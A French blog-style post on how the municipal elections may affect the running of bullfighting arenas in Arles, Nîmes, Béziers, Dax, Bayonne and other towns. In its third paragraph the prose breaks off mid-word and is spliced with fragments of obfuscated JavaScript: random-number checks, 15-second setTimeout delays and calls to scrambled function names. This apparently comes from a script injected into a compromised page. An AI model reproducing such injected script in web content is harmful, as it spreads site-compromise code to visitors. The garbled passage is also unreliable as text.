ARENES POLITIQUES EN FRANCE

Aucune aréne de France n’ a ouvert ses portes ce week end. La raison est simple ; c’était un dimanche d’élections municipales.
Ces élections vont elles avoir une incidence sur la gestion d’arénes ? Dans le Sud Est, Arles et Nîmes, les deux principales arènes du coin,  s’orientent vers un statu – quo. Ce n’est pas le cas de Béziers où l’on se dirige, semble – t – il vers un changement de majorité à la tête de la ville.
Si l’élection du candom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andidat arrivé en tête au 1° tour se confirme, quel sera son choix du mode de gestion des arènes ?

Deux cités gardoises ont réelu triomphalement leurs maires dés le 1° tour, il s'agit d'Alès et de Rodilhan, deux villes où les anti-corridas avaient manifesté avec force et appelé ensuite à voter contre la municipalité en place. Mais les électeurs de ces deux communes  n'ont pas suivi les consignes des opposants à la corrida. Et, ça, c'est plutôt une bonne nouvelle !

Dans le sud ouest rien n’est encore acquis, à l’exception de Mont-de-Marsan, où la mairesse et aficionado Geneviève Darrieussecq a été largement plebiscitée. A Dax l’actuelle équipe municipale devrait a priori continuer mais c’est moins clair pour Bayonne où si les socialistes devaient l’emporter la gestion des arènes pourrait être toute autre.

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